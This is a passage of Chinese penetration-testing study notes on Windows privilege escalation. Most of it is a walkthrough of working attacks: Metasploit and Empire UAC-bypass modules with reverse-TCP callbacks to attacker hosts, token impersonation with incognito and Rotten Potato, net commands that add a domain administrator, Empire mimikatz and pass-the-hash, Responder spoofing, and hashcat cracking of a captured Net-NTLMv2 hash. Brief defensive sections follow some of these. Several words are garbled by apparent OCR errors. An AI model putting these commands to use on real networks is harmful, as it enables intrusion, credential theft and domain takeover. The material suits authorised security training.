内网安全攻防:渗透测试指南——第4章 权限提升分析及防御


第四章——权限提升分析及防御

目录

第4章权限提升分析及防御

4.1.1通过手动执行命令发现缺失补丁

1.通过whoami/groups查看当前权限

2.1查看系统补丁

2.2利用msf发现缺失补丁

3.Windows Exploit Suggester

4.powershell 中的Sherlock脚本

5.通过cs中的elevate提权

4.2widnows操作系统配置错误利用分析及防范

4.2.2注册表键AlwasIstallElevated

4.2.3可信任服务路径漏洞

4.2.4自动安装配置文件

4.2.5计划任务

4.2.6Empire内置模块

4.3 组策略首选项提权分析及防范

4.3.1 组策略首选项提权简介

4.3.2组策略首选项提权分析

4.3.3 针对组策略首选项提权的防御措施

4.4 绕过UAC提权分析及防范

4.4.1 UAC简介

4.4.2 bypassuac模块

4.4.3RunAs模块

4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)

4.4.5Empire中的bypassuac模块

4.4.6针对绕过UAC提权的防御措施

4.5令牌窃取分析及防范

4.5.1假冒用户令牌

4.5.2 Rotten Potato本地提权分析

4.5.3添加域管理员

4.5.4Empire下的令牌窃取

4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

4.6无凭证条件下的权限获取分析及防范

4.6.2 LLMNR和 NetBIOS欺骗攻击分析


用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。

需要UAC的授权才能进行的操作列举如下

  • 配置Windows Update。
  • 增加/删除账户。
  • 更改账户类型。
  • 更改UAC的设置。
  • 安装ActiveX。
  • 安装/御载程序。
  • 安装设备驱动程序。
  • 将文件移动/复制到Program Files或Windows目录下。
  • 查看其他用户的文件夹。

UAC有如下四种设置要求。

  1. 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
  2. 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
  3. 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
  4. 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

4.4.2 bypassuac模块

假设获取了目标机器的Meterpreter shell ,当前权限为普通用户权限,现在尝试系统的System权限。

首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shel。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了Svstem权限。

在使用bypassuac模块提权时,当前用户必须在管理员组中,且UAC必须为默认设置。
当bypassuac模块运行时,会在目标机上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injecton模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

  1.   msf6 > use exploit/windows/local/bypassuac
  2.   [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  3.   msf6 exploit(windows/local/bypassuac) > show options

4.4.3RunAs模块

使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell

  1.   要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
  2.   msf6 > use exploit/windows/local/ask
  3.   [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  4.   msf6 exploit(windows/local/ask) > show options
  5.   msf6 exploit(windows/local/ask) > set SESSION 6
  6.   SESSION => 6
  7.   msf6 exploit(windows/local/ask) > set LHOST 1.1.1.5
  8.   LHOST => 1.1.1.5
  9.   msf6 exploit(windows/local/ask) > run
  10.    
  11.   getuid
  12.   getsystem

4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)

  1.   PS C:\Users\q\Desktop> Import-Module .\Invoke-PsUACme.ps1
  2.   PS C:\Users\q\Desktop> Invoke-PsUACme -Verbose
  3.   PS C:\Users\q\Desktop> Invoke-PsUACme -method oobe -Verbose
  4.   PS C:\Windows\temp> Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e mypayload"
  5.    
  6.   除此之外,可以使用-PayloadPath参数指定payload路径,使用-CustomDll64或-CustomDLL32参数,可以自定义DLL文件

4.4.5Empire中的bypassuac模块

  1.   1.bypassuac模块
  2.   usemodule privesc/bypassuac #设置监听参数
  3.   execute
  4.    
  5.   2.bypassuac_wscript模块
  6.   usemodule privesc/bypassuac_wscript
  7.   set Listener lab
  8.   execute #带*的角色提权成功

4.4.6针对绕过UAC提权的防御措施


在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。

4.5令牌窃取分析及防范


令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerheros协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示

客户端请求证书的过程如下

  1. 客户端向认证服务器发送请求,要求得到证书。
  2. 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
  3. 客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。

客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。

4.5.1假冒用户令牌

假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌

  1.   meterpreter > use incognito
  2.   meterpreter > list_tokens -u
  3.    
  4.   这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。

meterpreter > impersonate_token WIN7\\q    #在incognito中调用inpersonate_token,假冒用户q进行测试,WIN7是机器名,q为用户名,中间需要\\隔开
 

4.5.2 Rotten Potato本地提权分析


如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌

下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传列日标机器中

  1.   meterpreter > upload /home/kali/Downloads/rottenpotato.exe
  2.   meterpreter > use incognito
  3.   meterpreter > list_tokens -u
  4.   meterpreter > execute -HC -f rottenpotato.exe
  5.   meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

4.5.3添加域管理员

在meterpreter会话中使用ps命令查找域管理进程,并使用migrate命令迁移到该进程,进入shell

  1.   net user sec 123456Bo /ad /domain #添加域用户
  2.   net group "domain admins" sec /ad /domain #添加到域管理员组
  3.   net group "domain admins" /domain #查看域管理员组
  4.    
  5.   同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员
  6.   add_user sec 12345Bo -h 1.1.1.8
  7.   net group "domain admins" sec -h 1.1.1.8

4.5.4Empire下的令牌窃取

  1.   (Empire: listeners) > uselistener http
  2.   (Empire: listeners/http) > info
  3.   (Empire: listeners/http) > set Host http://1.1.1.6
  4.   (Empire: listeners/http) > set Port 8888
  5.   (Empire: listeners/http) > set Name sec
  6.   (Empire: listeners/http) > execute
  7.   (Empire: listeners) > launcher powershell sec
  8.    
  9.   (Empire: agents) > interact N78Z9653
  10.   (Empire: N78Z9653) > mimikatz
  11.   (Empire: N78Z9653) > creds
  12.   (Empire: N78Z9653) > pth 2
  13.   (Empire: N78Z9653) > revtoself #恢复令牌权限
  14.    
  15.    

4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

  • 及时安装微软推送的补丁。
  • 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
  • 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
  • 对于令牌,应采取加密存储及多重验证保护。
  • 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。

4.6无凭证条件下的权限获取分析及防范

在本节的实验中,假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试。

4.6.1 LLMNR 和 NetBIOS欺骗攻击的基本概念

1.LLMNR
本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:

  1. DNS客户端在自己的内部名称缓存中查询名称。
  2. 如果没有找到,主机将向主 DNS发送名称查询请求。
  3. 如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
  4. 如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
  5. 主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
  6. 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息。

2.NetBIOS
NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。

NetBIOS提供的三种服务如下。

  • NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。
  • Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。
  • Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139端口。

3. Net-NTLM Hash
Net-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。

4.6.2 LLMNR和 NetBIOS欺骗攻击分析


假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。
Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。
Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。

1.下载和运行
Responder是使用Python语言编写的。

  1.   git clone https://github.com/SpiderLabs/Responder.git
  2.   ┌──(root??kali)-[/home/kali]
  3.   └─# responder -I eth0

2.渗透测试
在使用 Responder对网络进行分析之后可以利用SMB协议获取目标网络中计算机的 Net-NTLM Hash。如果用户输入了错误的计算机名在DNS服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS和LLMNR进行解析。

在渗透测试中,使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash

3.使用hashcat进行破解

hashcat -m 5600 q::WIN7:524fa9048b91226c:A78B9944E2BCB793E02A78511A370527:01010000000000009AA13A40DDD9D60164D36B5FEDF5E086000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000EBE62023381C3BC8F579B7C0DC4B836449D20887CC0365A21217FB41FBB0F3040A001000000000000000000000000000000000000900180048005400540050002F0031002E0031002E0031002E0035000000000000000000 p.txt